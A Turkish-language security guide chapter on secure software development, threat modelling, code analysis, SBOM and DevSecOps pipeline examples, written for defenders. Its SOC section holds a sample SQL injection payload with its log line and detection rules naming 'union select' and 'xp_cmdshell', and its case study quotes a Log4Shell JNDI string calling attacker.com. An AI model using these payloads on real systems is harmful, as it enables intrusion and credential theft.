İçeriğe geç
🚀 Bu rehber açık kaynaklıdır ve katkılarınıza açıktır! Katkıda bulunmak, hata bildirmek veya öneri sunmak için GitHub Depomuzu ziyaret edin ve Pull Request açın.

Güvenli Yazılım Geliştirme (SDLC), Kod Analizi (SAST/DAST) ve DevSecOps

Güvenli Yazılım Geliştirme (SDLC) ve DevSecOps

Savunma derinliği mimarisinde uygulama katmanı, ağ perimetresi ve kimlik katmanı atlatıldığında saldırgan ile veri arasındaki son savunma hattıdır. CIS Controls v8 Kontrol 16 (Application Software Security) bunu açıkça ifade eder: saldırgan, ayrıntılı bir saldırı zinciri kurmak yerine doğrudan uygulamanın kendisini kullanarak veriyi ele geçirebilir. Günümüzde bu risk, SolarWinds, Log4Shell, XZ Utils ve Shai-Hulud gibi tedarik zinciri olaylarıyla kanıtlanmıştır; güvenlik artık sürüm sonuna sıkıştırılamaz, sola kaydırılmalı (Shift-Left) ve CI/CD boru hattına gömülmelidir.

Bu bölüm, NIST SP 800-218 (SSDF), OWASP SAMM, OWASP Top 10:2025, CIS Controls v8 ve ISO 27001:2022 çerçevelerinde güvenli SDLC, tehdit modelleme, SAST/DAST/IAST, tedarik zinciri savunması (SCA/SBOM/SLSA) ve DevSecOps otomasyonunu ele alır. Türkiye’de KVKK, 5651 ve BDDK yükümlülükleri operasyonel mimariyi doğrudan şekillendirir.

Shift-Left güvenlik infografiği Shift-Left: güvenlik aktivitelerinin SDLC’nin soluna taşınması


§10.1.1.Sola Kaydırma (Shift-Left) ve Tehdit Modelleme

Geleneksel SDLC’de güvenlik testleri kabul veya üretim öncesi aşamada yapılırdı. Bir kusurun düzeltilme maliyeti yaşam döngüsünde ilerledikçe katlanarak artar; tasarım aşamasında yakalanan bir zafiyet, üretimde düzeltilene kıyasla onlarca kat daha ucuzdur. Shift-Left, güvenlik gereksinimlerini, tehdit modellemeyi ve otomatik kontrolleri planlama ile kodlama aşamalarına çeker; merge ve deploy işlemlerini güvenlik kapıları (security gates) ile engeller.

NIST SP 800-218 (SSDF v1.1) bu felsefeyi dört uygulama grubuna ayırır:

GrupAçıklamaShift-Left Karşılığı
POOrganizasyonu hazırlaGüvenlik politikaları, eğitim, araç envanteri
PSYazılımı koruSBOM, provenance, imzalama
PWİyi güvenlikli yazılım üretTehdit modelleme, SAST, kod incelemesi
RVZafiyetlere yanıt verCVE triage, yama SLA, olay müdahale

OWASP SAMM’de Design akışı (Threat Assessment, Security Requirements, Secure Architecture) aynı prensibi somutlaştırır.

Güvenli SDLC yol haritası Güvenli yazılım geliştirme yaşam döngüsü yol haritası

STRIDE ve PASTA Metodolojileri

Tehdit modelleme, tasarım aşamasının kalbidir. İki temel metodoloji kurumsal ortamlarda yaygındır:

STRIDE (Microsoft, 1999): Model-merkezli yaklaşım. Veri Akış Diyagramı (DFD) üzerindeki her bileşene altı tehdit kategorisi uygulanır:

TehditAçıklamaTipik Mitigasyon
SpoofingKimlik sahteciliğiMFA, OAuth 2.0/OIDC
TamperingVeri kurcalamaTLS 1.3, HMAC, dijital imza
RepudiationİnkarDeğişmez, zaman damgalı loglama
Information DisclosureBilgi ifşasıŞifreleme, alan-seviyesi yetkilendirme
Denial of ServiceHizmet reddiRate limiting, kaynak kotası
Elevation of PrivilegeYetki yükseltmeEn az ayrıcalık, RBAC/ABAC

PASTA (Process for Attack Simulation and Threat Analysis): Yedi aşamalı, risk-merkezli metodoloji. İş hedefleri ile teknik zafiyetleri birleştirir; saldırı simülasyonu ve skorlama içerir. STRIDE’a göre daha derin ve iş bağlamına oturur.

DREAD skorlaması (Damage, Reproducibility, Exploitability, Affected Users, Discoverability) tehditleri 1–10 arası puanlayarak önceliklendirir.

Örnek Senaryo: Fintech Ödeme API’si

Tasarım aşamasında DFD çizilir; güven sınırı internet ile API Gateway arasındadır. STRIDE uygulandığında:

  • Spoofing → zayıf JWT imza doğrulaması
  • Tampering → istek gövdesinin değiştirilmesi
  • Information Disclosure → fazla veri ifşası (excessive data exposure)
  • Elevation of Privilege → BFLA ile admin endpoint erişimi

Her tehdit bir mitigasyon ile eşlenir (mTLS, imza doğrulama, alan-seviyesi yetkilendirme) ve SSDF PW.1 gereği gereksinim olarak kayıt altına alınır. BDDK Madde 20 kapsamında süreç denetlenebilir hale getirilir; KVKK kapsamında kişisel veri işleyen modüllerde ek input validation zorunlu kılınır.

Tehdit modelleme ve SDLC entegrasyonu Tehdit modelleme: tasarım aşamasında risklerin proaktif yönetimi


§10.1.2.Statik (SAST), Dinamik (DAST) ve Etkileşimli (IAST) Kod Analizi

Uygulama güvenliği testleri (AST) birbirini tamamlayan katmanlar oluşturur. Tek başına hiçbir yöntem yeterli değildir; savunma derinliği üçünün stratejik kombinasyonunu gerektirir.

BoyutSASTDASTIAST
Analiz tipiBeyaz kutu (kaynak kodu)Kara kutu (çalışan uygulama)Gri kutu (ajan + runtime)
SDLC konumuIDE, PR, commitStaging, pre-prodTest/QA (enstrümantasyonlu)
Çalışan uygulamaGerekmezGerekirGerekir
Yanlış pozitifYüksekOrta/düşükÇok düşük
Kör noktaRuntime config, business logicTest edilmeyen yollarYalnızca tetiklenen yollar
Örnek araçlarSonarQube, Semgrep, CodeQLOWASP ZAP, Burp SuiteContrast Security

Saldırgan–savunma dengesi: Saldırgan, SAST’ın yakalayamadığı business logic zafiyetini veya DAST’ın tarayamadığı derin path’leri sömürür. Mavi takım katmanlı yaklaşım uygular: SAST ile PR’ları temiz tutar, IAST/DAST ile staging’de doğrular, üretimde WAF + SIEM korelasyonu ile kalan riski yönetir.

IAST ve Taint Analysis

IAST ajanları JVM veya .NET CLR içine enjekte edilir (-javaagent:iast-agent.jar). Taint Analysis mekanizması güvenilmeyen kaynaklardan (HTTP parametreleri, cookie) gelen veriyi “lekeli” işaretler; sanitizasyon geçmeden kritik sink’e (SQL execute, Runtime.exec) ulaşırsa anında raporlar. Bu, SAST’ın yüksek yanlış pozitifini ve DAST’ın kod satırı eksikliğini telafi eder.

NIST SSDF PW.7 (statik analiz) ve PW.8 (dinamik analiz/fuzz) bu üçünü kapsar. Pratik varsayılan entegrasyon:

  • Her PR’da SAST (Semgrep/SonarQube)
  • Staging’de DAST (zamanlanmış + sürüm tetikli)
  • Test kapsamı iyi olan modüllerde IAST
  • Seçili üretim servislerinde RASP (performans testi + geri alma planıyla)

Semgrep 4.000+ kuralını OWASP Top 10:2025 eşlemesine güncellemiştir; örneğin OS Command Injection kuralı A05:2025 - Injection ile etiketlenir.

RASP: Çalışma Anındaki Son Savunma Hattı

RASP (Runtime Application Self-Protection), üretim ortamında çalışan uygulamanın içine gömülü ajan veya kütüphane ile gerçek zamanlı saldırı engelleme sağlar. SAST’ın statik analizi, DAST’ın dış testi ve IAST’ın QA ortamı doğrulamasının ardından RASP, canlı trafikte exploit girişimlerini bloklar.

ÖzellikRASPWAF
KonumUygulama process’i içindeAğ/edge katmanında
BağlamTam kod ve runtime bağlamıHTTP isteği/yanıtı
Business logicKısmen görürGöremez
Performans etkisiOrta-yüksekDüşük-orta
DağıtımSeçili kritik servislerTüm public trafik

RASP, WAF’ın kaçırdığı business logic saldırılarını veya şifreli trafik içindeki uygulama-seviyesi anomalileri tamamlar. Ancak her servise RASP eklemek performans ve operasyonel karmaşıklık yaratır; PCI DSS veya BDDK kapsamındaki ödeme/kimlik servisleri önceliklendirilir.

Bulgu Yönetimi ve Triyaj

Birden fazla güvenlik aracından gelen bulgular DefectDojo, Jira veya ServiceNow üzerinde birleştirilir. Triyaj süreci:

  1. Otomatik deduplication: Aynı CVE’nin SAST + SCA + container taramasında tekrarlanması
  2. Severity + exploitability: CISA KEV, EPSS skoru, exploit PoC varlığı
  3. Asset kritikliği: Üretim / PII işleyen / internet-facing öncelik
  4. SLA atama: Critical 24s, High 7g, Medium 30g

SOC entegrasyonu: açık zafiyet + exploit attempt korelasyonu (ör. Log4Shell CVE’si açıkken ${jndi: log pattern’i).

SOC Entegrasyonu: SQL Injection Tespiti

Ofansif senaryo: saldırgan ?q=' UNION SELECT null, username, password FROM users -- gönderir. Nginx erişim logu:

192.168.10.45 - - [20/Jun/2026:14:32:10 +0300] "GET /api/v1/search?q=%27%20UNION%20SELECT%20null%2C%20username%2C%20password%20FROM%20users%20-- HTTP/1.1" 200 4096

Sigma kuralı (platform bağımsız):

title: Web Sunucu Erişim Loglarında SQL Enjeksiyonu Tespiti
status: stable
logsource:
category: webserver
detection:
selection:
url|contains:
- 'union select'
- 'or 1=1'
- 'xp_cmdshell'
condition: selection
level: critical

Wazuh özel kural (/var/ossec/etc/rules/local_rules.xml):

<group name="web,app_security,">
<rule id="100051" level="12">
<match>select|union|concat|xp_cmdshell|--</match>
<description>Kritik SQL Enjeksiyonu Saldırı Girişimi.</description>
<mitre><id>T1190</id></mitre>
</rule>
</group>

HTTP 200 yanıtı, zafiyetin başarıyla istismar edilmiş olabileceğine işaret eder; olay “Kritik” öncelikle sınıflandırılır (NIST SP 800-61).


§10.1.3.Yazılım Tedarik Zinciri Güvenliği, SCA ve SBOM

Modern uygulamaların %70–90’ı açık kaynak bileşenlerden oluşur. OWASP Top 10:2025’te en çarpıcı yapısal değişiklik, “A06 Vulnerable Components” kategorisinin A03:2025 - Software Supply Chain Failures olarak genişletilmesidir. Topluluk anketinde katılımcıların %50’si bunu birincil endişe olarak işaretledi; en yüksek exploit/impact skoruna sahiptir.

SCA (Software Composition Analysis), bağımlılıkları NVD, OSV ve GitHub Advisory veritabanlarıyla tarar. SBOM (Software Bill of Materials) bu sürecin makine-okunur envanter çıktısıdır.

SBOM yaşam döngüsü SBOM: yazılımın “içindekiler listesi” ve zafiyet yönetimi

SBOM Formatları

KriterCycloneDXSPDX
GeliştiriciOWASP / Ecma-424Linux Foundation / ISO 5962
OdakGüvenlik, zafiyet, otomasyonLisans, telif, yasal uyum
VEX desteğiYerleşikHarici profiller
KapsamSBOM, CBOM, HBOM, SaaSBOMPaketler, lisanslar, ilişkiler

Araç zinciri (açık kaynak):

  • Syft: konteyner imajı ve dosya sisteminden SBOM üretir
  • Grype: SBOM’u CVE veritabanlarıyla eşler
  • Trivy: tarama + SBOM üretimi
  • OWASP Dependency-Track: SBOM kalıcı veritabanı, sürekli yeniden değerlendirme
  • Cosign / Sigstore: artifakt ve SBOM imzalama
  • VEX: “bu CVE ürünümüzü gerçekten etkiliyor mu?” sorusunu standart biçimde yanıtlar
Terminal window
# Temel SBOM akışı
syft packages dir:./build/libs -o cyclonedx-json > sbom.json
grype sbom:./sbom.json --fail-on high

CISA KEV (Known Exploited Vulnerabilities) kataloğu önceliklendirmede en üst sinyaldir.

Vaka Çalışmaları

1. SolarWinds / SUNBURST (Aralık 2020): Saldırganlar build sistemini ele geçirdi. SUNSPOT enjektörü MsBuild.exe sürecini izleyerek Orion derlenirken kaynağı değiştirdi. İmzalama sistemi trojanlı kodu imzaladı. Yaklaşık 18.000 müşteri trojanlı sürümü indirdi; ancak fiilen ele geçirilen müşteri sayısı resmi açıklamaya göre 100’den azdı. Savunma dersi: build ortamı bütünlüğü, SLSA provenance, üç heterojen build ortamı.

2. Log4Shell / CVE-2021-44228 (CVSS 10.0): ${jndi:ldap://attacker.com/a} loglandığında RCE. SOC tespiti: loglarda ${jndi:} dizesi, 389/636 portlarına anormal LDAP bağlantıları. Yama: 2.16.0+.

3. XZ Utils / CVE-2024-3094: “Jia Tan” iki yıl güven inşa edip liblzma’ya SSH backdoor yerleştirdi. Andres Freund’un performans anomalisi araştırmasıyla keşfedildi. Savunma dersi: maintainer güven modeli, build-time davranış analizi.

4. Shai-Hulud npm solucanı (2025): preinstall aşamasında çalışan, Bun runtime kullanan, kendini çoğaltan kampanya. 700+ npm paketi, 27.000+ zararlı GitHub deposu, ~14.000 sızdırılmış secret. Savunma: npm ci + lockfile, scoped token, preinstall denetimi, registry proxy/SCA.

OWASP ASVS ve Güvenlik Gereksinimleri

OWASP ASVS (Application Security Verification Standard) 4.0, uygulama güvenliği gereksinimlerini üç doğrulama seviyesinde tanımlar:

SeviyeKapsamTipik Kullanım
L1Temel savunmaDüşük riskli dahili uygulamalar
L2Standart kurumsalÇoğu internet-facing uygulama
L3Maksimum güvenlikFinans, sağlık, kritik altyapı

ASVS gereksinimleri tehdit modelleme çıktılarıyla eşleştirilerek Security Requirements Traceability Matrix (SRTM) oluşturulur. BDDK kapsamındaki finansal uygulamalar genellikle ASVS L2+ hedefler.

Container ve IaC Güvenliği

CI/CD pipeline’ında uygulama kodunun yanı sıra altyapı tanımları da taranmalıdır:

Terminal window
# Terraform güvenlik taraması
checkov -d ./terraform --framework terraform --check HIGH,CRITICAL
# Kubernetes manifest taraması
trivy config ./k8s/manifests/

Kyverno admission controller ile imzalanmamış (cosign verify) container imajlarının cluster’a girmesi engellenir. CIS Controls v8 Safeguard 16.7 (hardening şablonları) ve 16.8 (üretim/üretim-dışı ayrımı) bu kontrollerle örtüşür.


§10.1.4.CI/CD Pipeline’a Güvenlik Otomasyonu (DevSecOps)

DevSecOps, güvenliği yavaşlatmadan sola kaydırır. Amaç: geliştirici hızını korurken otomatik güvenlik kapıları koymaktır. NIST SP 800-218 (SSDF) PW.7 (statik analiz), PW.8 (dinamik analiz) ve PS.1 (yazılım bütünlüğü) bu pipeline’ın teorik çerçevesini oluşturur; OWASP SAMM Implementation ve Verification akışları ise olgunluk ölçütlerini tanımlar.

DevSecOps pipeline diyagramı DevSecOps: güvenlik kontrollerinin CI/CD boru hattına entegrasyonu

Referans Pipeline Mimarisi (Çok Aşamalı)

Aşağıdaki mimari, SAST → SCA → Build → DAST → Deploy → Runtime izleme katmanlarını tek boru hattında birleştirir. Her aşama fail-fast prensibiyle yapılandırılır: Critical/High bulgu pipeline’ı durdurur.

flowchart LR
    Plan["PLAN<br/>STRIDE Tehdit Modeli · ASVS"]
    Code["CODE / PR<br/>Semgrep/SonarQube · Gitleaks · Checkov"]
    Build["BUILD<br/>Grype/SBOM · Cosign İmza"]
    Test["TEST<br/>OWASP ZAP · Contrast IAST"]
    Deploy["DEPLOY<br/>Admission Control · Canary Deploy"]
    Run["RUN<br/>RASP · Wazuh/SIEM"]
    Plan --> Code --> Build --> Test --> Deploy --> Run
┌─────────────────────────────────────────────────────────────────────────────┐
│ DEVSECOPS REFERANS PIPELINE │
├─────────────────────────────────────────────────────────────────────────────┤
│ PLAN │ Threat model (STRIDE) + ASVS gereksinimleri + policy-as-code│
├──────────────┼──────────────────────────────────────────────────────────────┤
│ CODE │ IDE SAST (SonarLint) + pre-commit (Gitleaks, Semgrep) │
├──────────────┼──────────────────────────────────────────────────────────────┤
│ PR/MR │ SAST (Semgrep/SonarQube) + Secret scan + IaC (Checkov) │
├──────────────┼──────────────────────────────────────────────────────────────┤
│ BUILD │ SCA (Grype/Snyk) + SBOM (Syft/CycloneDX) + Unit test │
├──────────────┼──────────────────────────────────────────────────────────────┤
│ PACKAGE │ Container scan (Trivy) + Cosign imzalama + SLSA provenance │
├──────────────┼──────────────────────────────────────────────────────────────┤
│ TEST/STAGE │ DAST (ZAP baseline/full) + IAST (Contrast) + API fuzz │
├──────────────┼──────────────────────────────────────────────────────────────┤
│ DEPLOY │ Kyverno admission (imzalı imaj) + smoke test + canary │
├──────────────┼──────────────────────────────────────────────────────────────┤
│ RUN │ RASP (seçili servisler) + WAF + SIEM korelasyon + Falco │
└─────────────────────────────────────────────────────────────────────────────┘

SAST Entegrasyon Örnekleri

Semgrep — Özel kural dosyası (.semgrep.yml):

rules:
- id: sql-injection-raw-query
patterns:
- pattern: $DB.execute(f"... {$VAR} ...")
- pattern: $DB.raw($QUERY)
message: "OWASP A05:2025 — SQL Injection riski: parametreli sorgu kullanın"
severity: ERROR
languages: [python, java]
metadata:
owasp: "A05:2025"
cwe: "CWE-89"
- id: hardcoded-secret
pattern-regex: '(api[_-]?key|password|secret)\s*=\s*["\'][^"\']{8,}["\']'
message: "Hardcoded secret tespit edildi — ortam değişkeni veya Vault kullanın"
severity: ERROR
languages: [generic]

SonarQube Quality Gate (API üzerinden):

Terminal window
# SonarScanner çalıştırma ve quality gate bekleme
sonar-scanner \
-Dsonar.projectKey=my-app \
-Dsonar.sources=src/ \
-Dsonar.host.url=https://sonar.internal.example.com \
-Dsonar.qualitygate.wait=true
# Quality gate başarısızsa pipeline durur (exit code != 0)

SonarQube Quality Gate eşikleri (önerilen):

MetrikEşikAksiyon
New Bugs0Build fail
New Vulnerabilities0Build fail
New Security Hotspots0 unreviewedBuild fail
Coverage on New Code≥ 80%Warning
Duplicated Lines≤ 3%Warning

DAST Entegrasyon Örnekleri

OWASP ZAP — Baseline vs Full Scan:

ModKapsamSüreKullanım
BaselinePasif tarama + spider (sınırlı)5–15 dkHer PR/MR
Full ScanAktif tarama + tüm spider30–120 dkSürüm öncesi / haftalık
API ScanOpenAPI tanımından otomatik15–45 dkAPI değişikliği sonrası

ZAP Full Scan — Docker tabanlı CI entegrasyonu:

Terminal window
# OpenAPI tanımından API taraması
docker run --rm -v $(pwd):/zap/wrk:rw \
-t ghcr.io/zaproxy/zaproxy:stable \
zap-api-scan.py -t https://staging.example.com/openapi.json \
-f openapi -r zap-api-report.html \
-c zap-rules.conf -J zap-api-report.json
# Full scan (aktif tarama — yalnızca staging)
docker run --rm -v $(pwd):/zap/wrk:rw \
-t ghcr.io/zaproxy/zaproxy:stable \
zap-full-scan.py -t https://staging.example.com \
-r zap-full-report.html -J zap-full-report.json \
-x zap-full-report.xml

ZAP bulgu eşikleri (pipeline gating):

Terminal window
# Yalnızca High ve Critical bulgular pipeline'ı durdurur
python3 -c "
import json, sys
report = json.load(open('zap-api-report.json'))
high = sum(1 for s in report.get('site',[]) for a in s.get('alerts',[]) if a['riskcode'] in ('3','4'))
sys.exit(1 if high > 0 else 0)
"

Azure DevOps Pipeline Örneği

azure-pipelines-security.yml
trigger:
branches: [main, develop]
paths:
exclude: [docs/*, *.md]
stages:
- stage: SecurityScan
jobs:
- job: SAST
pool: { vmImage: 'ubuntu-latest' }
steps:
- task: SonarQubePrepare@6
inputs:
SonarQube: 'SonarQube-Connection'
scannerMode: 'CLI'
configMode: 'manual'
cliProjectKey: '$(Build.Repository.Name)'
- script: |
pip install semgrep
semgrep --config=auto --error --json -o semgrep.json .
displayName: 'Semgrep SAST'
- script: |
docker run --rm -v $(pwd):/src \
zricethezav/gitleaks:latest detect \
--source /src --redact --exit-code 1
displayName: 'Gitleaks Secret Scan'
- task: SonarQubeAnalyze@6
- task: SonarQubePublish@6
inputs:
pollingTimeoutSec: '300'
- job: SCA_SBOM
dependsOn: SAST
steps:
- script: |
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
syft packages dir:. -o cyclonedx-json > sbom.json
curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin
grype sbom:sbom.json --fail-on high
displayName: 'SBOM + Grype SCA'
- job: DAST
dependsOn: SCA_SBOM
condition: eq(variables['Build.SourceBranch'], 'refs/heads/main')
steps:
- script: |
docker run --rm -v $(pwd):/zap/wrk:rw \
ghcr.io/zaproxy/zaproxy:stable \
zap-baseline.py -t https://staging.example.com \
-J zap-report.json -x zap-report.xml
displayName: 'OWASP ZAP Baseline'
- task: PublishBuildArtifacts@1
inputs:
PathtoPublish: 'zap-report.html'
ArtifactName: 'ZAP-Report'

Jenkins Pipeline Örneği (Declarative)

pipeline {
agent any
environment {
SONAR_TOKEN = credentials('sonar-token')
DEFECTDOJO_URL = 'https://defectdojo.internal.example.com'
}
stages {
stage('SAST') {
parallel {
stage('Semgrep') {
steps {
sh 'semgrep --config=p/owasp-top-ten --error -o semgrep.sarif .'
}
}
stage('SonarQube') {
steps {
withSonarQubeEnv('SonarQube') {
sh 'mvn sonar:sonar -Dsonar.qualitygate.wait=true'
}
}
}
}
}
stage('Secret Scan') {
steps {
sh 'gitleaks detect --source . --redact --exit-code 1'
}
}
stage('SCA + SBOM') {
steps {
sh '''
syft packages dir:. -o cyclonedx-json > sbom.json
grype sbom:sbom.json --fail-on high -o json > grype.json
'''
}
}
stage('DAST') {
when { branch 'main' }
steps {
sh '''
docker run --rm -v $PWD:/zap/wrk:rw \
ghcr.io/zaproxy/zaproxy:stable \
zap-baseline.py -t $STAGING_URL -J zap.json
'''
}
}
stage('Publish to DefectDojo') {
steps {
sh '''
curl -X POST $DEFECTDOJO_URL/api/v2/import-scan/ \
-H "Authorization: Token $DD_API_KEY" \
-F "scan_type=Semgrep JSON Report" \
-F "file=@semgrep.sarif" \
-F "engagement=1"
'''
}
}
}
post {
failure {
emailext subject: "Pipeline FAILED: ${env.JOB_NAME}",
body: "Güvenlik kapısı ihlali. Detay: ${env.BUILD_URL}",
to: 'security-team@example.com'
}
}
}

OWASP SAMM ve SSDF Eşleştirmesi

Pipeline AşamasıNIST SSDFOWASP SAMMCIS v8
Threat modelingPW.1Design / Threat Assessment16.1
SAST (PR)PW.7Implementation / Code Review16.2
Secret scanPS.1Implementation / Secure Build16.5
SCA + SBOMPS.1, PS.2Verification / Dependency Mgmt16.4
DAST (staging)PW.8Verification / Security Testing16.2
Container scanPS.2Verification / Secure Deployment16.7
Cosign + SLSAPS.2Implementation / Secure Build16.5
Runtime (RASP/WAF)RV.1Operations / Environment Mgmt13, 16

SLSA (Supply-chain Levels for Software Artifacts)

SeviyeGereksinimKurumsal Hedef
L1Otomatik, script tabanlı build; temel provenanceBaşlangıç
L2Hosted build service; imzalı provenanceÇoğu ekip
L3İzole ephemeral build; imza anahtarı script’ten ayrıkÜretim hedefi

SLSA Level 3 pratik hedeftir: GitHub Actions OIDC token → Fulcio CA → kısa ömürlü sertifika → Rekor şeffaflık logu. slsa-github-generator, build job’ın imza anahtarına erişememesini sağlar.

Derinlemesine: SLSA L3 Provenance ve Sigstore Entegrasyonu
SLSA SeviyeGereksinimKurumsal Karşılık
L1Script tabanlı build; temel provenanceCI/CD otomasyonu
L2Hosted build; imzalı provenanceGitHub Actions / GitLab Runner
L3Ephemeral izole build; imza anahtarı script’ten ayrıkOIDC + Cosign + Rekor

Sigstore akışı (GitHub Actions OIDC):

permissions:
id-token: write
contents: read
steps:
- uses: sigstore/cosign-installer@v3
- run: cosign sign-blob --yes sbom.json
- uses: slsa-framework/slsa-github-generator@v2

VEX (Vulnerability Exploitability Exchange): Grype HIGH bulgusu üretse bile VEX belgesi “bu CVE ürünümüzü etkilemiyor” yanıtını standart biçimde verir; false positive triyajını hızlandırır.

CISA KEV kataloğu, SCA önceliklendirmesinde en üst sinyaldir — KEV’deki CVE için 24 saat remediation SLA uygulanmalıdır.

Pipeline Katmanları

AşamaGüvenlik AktivitesiAraçlar
PlanPolitika tanımıTerrascan, Checkov
CodeSAST, secret taramaSemgrep, Gitleaks
BuildSCA, SBOMSyft, Grype, Trivy
TestDAST, IASTOWASP ZAP
Packageİmaj tarama, imzalamaTrivy, Cosign, Kyverno
RunRuntime izlemeFalco, WAF, SIEM

Gating stratejisi: Critical/High CVE → build başarısız; SBOM üretimi başarısız → dur; imzalanmamış artifakt → reddedilir.

GitHub Actions Örneği

name: DevSecOps Pipeline
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v4
- name: SAST (Semgrep)
uses: returntocorp/semgrep-action@v1
- name: Secret Scan (Gitleaks)
run: gitleaks detect --source . --redact
- name: SBOM + SCA (Syft + Grype)
run: |
syft packages dir:./ -o cyclonedx-json > sbom.json
grype sbom:./sbom.json --fail-on high
- name: Sign artifact (Cosign)
run: cosign sign-blob --yes sbom.json
- name: DAST (OWASP ZAP baseline)
uses: zaproxy/action-baseline@v0.12.0
with:
target: 'https://staging.example.com'

GitLab CI Örneği (Özet)

stages: [build, test, security_scan, deploy]
gitleaks_secrets_scan:
stage: test
image: zricethezav/gitleaks:latest
script: [gitleaks detect --verbose --source=$CI_PROJECT_DIR --redact]
allow_failure: false
sonarqube_sast:
stage: security_scan
script:
- sonar-scanner -Dsonar.qualitygate.wait=true
allow_failure: false
trivy_container_scan:
stage: security_scan
script:
- trivy image --exit-code 1 --severity CRITICAL,HIGH my-registry/app:latest
allow_failure: false

Ek kontroller: pre-commit hooks, IaC tarama, container admission control (Kyverno + cosign), CI/CD action pinning (commit SHA ile sabitleme), HashiCorp Vault ile dinamik secret çekimi.

Bulgular DefectDojo veya Jira’ya aktarılır; SOC’a “bilinen zafiyet + exploit attempt” korelasyonu için beslenir.

IAST ve RASP Pipeline Entegrasyonu

Contrast Security (IAST) — JVM ajan enjeksiyonu:

Terminal window
# Test ortamında IAST ajanı ile integration test
java -javaagent:/opt/contrast/contrast.jar \
-Dcontrast.application.name=my-app \
-Dcontrast.server.name=staging \
-jar target/my-app.jar
# IAST bulguları Contrast dashboard'a akar; CI webhook ile pipeline fail
curl -s -H "Authorization: $CONTRAST_API_KEY" \
"https://contrast.internal/api/v1/applications/my-app/vulnerabilities?severity=HIGH" \
| jq '.vulnerabilities | length' | xargs -I{} test {} -eq 0

RASP dağıtım kararı matrisi:

KriterIAST (QA)RASP (Prod)
OrtamTest/StagingÜretim (seçili servisler)
Performans etkisiOrta (%5–15 overhead)Orta-yüksek
Business logic görünürlüğüTamTam
Bloklama yeteneğiRaporlamaGerçek zamanlı blok
ÖncelikTüm modüllerÖdeme, kimlik, PII işleyen

Pipeline Metrikleri ve SOC KPI’ları

MetrikHedefÖlçüm Kaynağı
SAST scan süresi (PR)< 5 dkCI/CD log
DAST scan süresi (sürüm)< 30 dk (baseline)ZAP raporu
SCA Critical CVE (açık)0 (KEV listesi)Grype/Snyk
SBOM üretim oranı%100 buildSyft artifact
Quality gate pass rate> %95SonarQube
Mean Time to Remediate (Critical)< 24 saatDefectDojo/Jira
False positive oranı (SAST)< %10Triyaj logları

§10.1.5.Uluslararası Standart ve Türkiye Mevzuatı Uyumu

KontrolNIST SP 800-53ISO 27001:2022CIS v8Türkiye
Shift-Left / Tehdit ModellemeSA-8, SA-11A.8.2516.1BDDK Md. 20
SAST / IASTSA-11A.8.2916.2BDDK Md. 23
SCA / SBOMSA-12, SR-3A.5.19–2316.4–16.6KVKK veri güvenliği
CI/CD OtomasyonCM-3A.8.1916.5BDDK sürekli test
Loglama / SOCSI-4, AU-6A.8.15–168.x5651, KVKK

KVKK (6698)

Kişisel veri işleyen yazılımlarda veri minimizasyonu, şifreleme ve loglama zorunludur. Loglar IP, kullanıcı ID içerebilir; KVKK m.5/2-a ve m.5/2-ç kapsamında hukuki yükümlülük nedeniyle açık rıza gerekmez, ancak aydınlatma metni zorunludur. SOC analistleri için veri maskeleme ve çift yetki (dual control) uygulanmalıdır.

5651 Sayılı Kanun

İnternet erişimi sağlayan kurumlar trafik bilgilerini en az 1 yıl saklar. Yönetmelik, dosya bütünlük değerlerinin 5070’e dayalı zaman damgası ile korunmasını şart koşar. Sadece hash yeterli değildir; yasal geçerli zaman damgası (TÜBİTAK KAMU SM vb.) gereklidir.

BDDK

Finans sektöründe güvenli yazılım geliştirme (Md. 20), sürekli güvenlik testleri (Md. 23), denetim izlerinin asgari 3 yıl saklanması zorunludur. TCMB tebliğinde denetim izleri en az 10 yıl; SPK tebliğinde asgari 5 yıl saklanır.


§10.1.6.Mimari Tavsiyeler ve Olgunluk Yol Haritası

Hemen (0–30 gün)

  • OWASP Top 10:2025’e göre tarama kurallarını güncelleyin (A03 Supply Chain, A10 Exceptional Conditions)
  • CI/CD’de grype --fail-on high ve SBOM üretimini bloklayıcı kapı yapın
  • SIEM zaman damgası ve NTP senkronizasyonunu doğrulayın

Kısa Vade (30–90 gün)

  • SLSA Level 3 provenance (OIDC + Cosign + Rekor)
  • OWASP Dependency-Track ile sürekli SBOM izleme + VEX
  • Tehdit modellemeyi (STRIDE/PASTA) tasarım sürecine kalıcı entegre edin

Orta Vade (90–180 gün)

  • DefectDojo ile çoklu araç bulgu birleştirme
  • Merkezi SIEM’i 5651/KVKK/BDDK saklama süreleriyle yapılandırın
  • OWASP SAMM Level 2+ olgunluk hedefi

Remediation SLA Eşikleri

SeveritySLATetikleyici
Critical (KEV)24 saatCISA KEV listesi
High7 günGrype/Snyk taraması
Medium30 günSprint planlama

OWASP SAMM Olgunluk Hedefi

SeviyeKriterler
Level 2Tehdit modelleme zorunlu, SAST+SCA pipeline’da, SBOM üretiliyor
Level 3IAST+DAST otomatik, signed SBOM+VEX, SOC korelasyonu

Özet

Uygulama güvenliği tek bir araç veya “son kontrol” değildir. Shift-Left + tehdit modelleme + katmanlı test (SAST/IAST/DAST) + SCA/SBOM + imzalı provenance ile hem önleyici hem tespit edici katmanlar oluşturulur. Bu yapı NIST SSDF, OWASP SAMM, CIS Controls v8 ve Türkiye yasal yükümlülükleriyle uyumlu, ölçülebilir ve denetlenebilir bir Secure SDLC sağlar.

Güvenlik bir araç seti değil, kültür ve mühendislik disiplinidir. SDLC’nin DNA’sına işlenmiş güvenlik; SOC’un proaktif çalışmasını, tedarik zinciri şeffaflığını ve yasal uyumu aynı mimaride birleştirir.

Pipeline’da yakalanamayan runtime tehditleri için §10.2 web/API güvenliği ve WAF katmanları; izolasyon modeli farklı olan iş yükleri için §10.3 sunucusuz mimari güvenliği tamamlayıcı savunma hatlarını oluşturur.